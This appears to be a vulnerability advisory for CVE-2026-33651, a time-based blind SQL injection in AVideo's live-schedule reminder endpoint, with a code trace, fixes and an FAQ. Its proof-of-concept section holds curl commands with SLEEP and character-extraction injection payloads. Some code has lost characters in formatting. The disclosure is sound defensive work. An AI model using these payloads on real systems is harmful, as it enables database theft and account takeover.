CVE-2026-33651: AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()
Summary
The remindMe.json.php endpoint passes $REQUEST['livescheduleid'] through multiple functions without sanitization until it reaches Schedulercommands::getAllActiveOrToRepeat(), which directly concatenates it into a SQL LIKE clause. Although intermediate functions (new Liveschedule(), getUsersidOrCompany()) apply intval() internally, they do so on local copies within ObjectYPT::getFromDb(), leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.
Details
The vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:
Step 1 — User input (no sanitization): plugin/Live/remindMe.json.php:15: php $reminder = Live::setLiveScheduleReminder($REQUEST['livescheduleid'], ...);
Step 2 — Auth check passes for any user: plugin/Live/Live.php:4126: php if (!User::isLogged()) { $obj->msg = ('Must be logged'); return $obj; }
Step 3 — intval() applied only internally, original variable unchanged: plugin/Live/Live.php:4141-4143: php $ls = new Liveschedule($livescheduleid); // intval() inside getFromDb() only $usersid = Liveschedule::getUsersidOrCompany($livescheduleid); // same
objects/Object.php:84 (inside getFromDb()): php $id = intval($id); // sanitizes the LOCAL parameter, not the caller's variable
With input like 1" AND SLEEP(5) --, intval() extracts 1, loads schedule ID 1 successfully. The caller's $livescheduleid remains 1" AND SLEEP(5) --.
Step 4 — Tainted value flows to type string construction: plugin/Live/Live.php:4152 → Live.php:4193-4194: php $reminders = self::getLiveScheduleReminders($livescheduleid);
// getLiveScheduleReminders calls: $type = self::getLiveScheduleReminderBaseNameType($livescheduleid); // which builds: "LiveScheduleReminder{$tousersid}{$livescheduleid}" return Schedulercommands::getAllActiveOrToRepeat($type);
Step 5 — SQL injection sink: plugin/Scheduler/Objects/Schedulercommands.php:340-347: php $sql = "SELECT FROM " . static::getTableName() . " WHERE (status='a' OR status='r') "; if(!empty($type)){ $sql .= ' AND type LIKE "'.$type.'%" '; // LINE 343: direct concatenation } $res = sqlDAL::readSql($sql); // LINE 347: no parameterization
PoC
Prerequisites: Any authenticated user session, at least one liveschedule record (ID=1).
Step 1 — Baseline request (should return quickly): bash curl -s -o /dev/null -w "%{timetotal}" \ -b "PHPSESSID=<validsession>" \ "http://target/plugin/Live/remindMe.json.php?livescheduleid=1&minutesEarlier=10" Expected: response in ~0.1-0.5s
Step 2 — Time-based injection (5 second delay): bash curl -s -o /dev/null -w "%{timetotal}" \ -b "PHPSESSID=<validsession>" \ --get --data-urlencode 'livescheduleid=1" AND SLEEP(5) -- ' \ --data-urlencode 'minutesEarlier=10' \ "http://target/plugin/Live/remindMe.json.php" Expected: response delayed by ~5 seconds, confirming injection.
The resulting SQL becomes: sql SELECT FROM schedulercommands WHERE (status='a' OR status='r') AND type LIKE "LiveScheduleReminder1231" AND SLEEP(5) -- %"
Step 3 — Data extraction (example: first character of database user): bash curl -s -o /dev/null -w "%{timetotal}" \ -b "PHPSESSID=<validsession>" \ --get --data-urlencode 'livescheduleid=1" AND IF(SUBSTRING(user(),1,1)="r",SLEEP(5),0) -- ' \ --data-urlencode 'minutesEarlier=10' \ "http://target/plugin/Live/remindMe.json.php" If the response is delayed 5 seconds, the first character of user() is r.
Impact
- Full database read: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens. - Data modification: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations. - Account takeover: Extracted admin password hashes or session tokens enable full platform compromise. - Low barrier: Only requires a basic authenticated account — no admin privileges needed.
Recommended Fix
Option 1 — Parameterize the query in Schedulercommands::getAllActiveOrToRepeat():
plugin/Scheduler/Objects/Schedulercommands.php:335-347: php public static function getAllActiveOrToRepeat($type='') { global $global; if (!static::isTableInstalled()) { return false; } $sql = "SELECT FROM " . static::getTableName() . " WHERE (status=? OR status=?) "; $formats = "ss"; $values = [self::$statusActive, self::$statusRepeat];
if(!empty($type)){ $sql .= ' AND type LIKE ? '; $formats .= "s"; $values[] = $type . "%"; }
$sql .= self::getSqlFromPost(); $res = sqlDAL::readSql($sql, $formats, $values); $fullData = sqlDAL::fetchAllAssoc($res); sqlDAL::close($res); $rows = array(); if ($res != false) { foreach ($fullData as $row) { $rows[] = $row; } } return $rows; }
Option 2 — Additionally sanitize at the entry point:
plugin/Live/remindMe.json.php:15 (defense in depth): php $REQUEST['livescheduleid'] = intval($REQUEST['livescheduleid']); $reminder = Live::setLiveScheduleReminder($REQUEST['livescheduleid'], ...);
Both fixes should be applied for defense in depth.
Other sources
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the remindMe.json.php endpoint passes $REQUEST['livescheduleid'] through multiple functions without sanitization until it reaches Schedulercommands::getAllActiveOrToRepeat(), which directly concatenates it into a SQL LIKE clause. Although intermediate functions (new Liveschedule(), getUsersidOrCompany()) apply intval() internally, they do so on local copies within ObjectYPT::getFromDb(), leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents. Commit 75d45780728294ededa1e3f842f95295d3e7d144 contains a patch.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33651?
CVE-2026-33651 is classified as a critical vulnerability due to the potential for unauthorized access to sensitive data through Blind SQL Injection.
How do I fix CVE-2026-33651?
To fix CVE-2026-33651, ensure that user input from 'live_schedule_id' is properly sanitized and validated before being processed by the application.
Which versions of AVideo are affected by CVE-2026-33651?
CVE-2026-33651 affects all versions of AVideo up to and including version 26.0.
What type of vulnerability is CVE-2026-33651?
CVE-2026-33651 is a Blind SQL Injection vulnerability that allows attackers to manipulate database queries.
Can CVE-2026-33651 be exploited remotely?
Yes, CVE-2026-33651 can be exploited remotely, making it a significant security risk.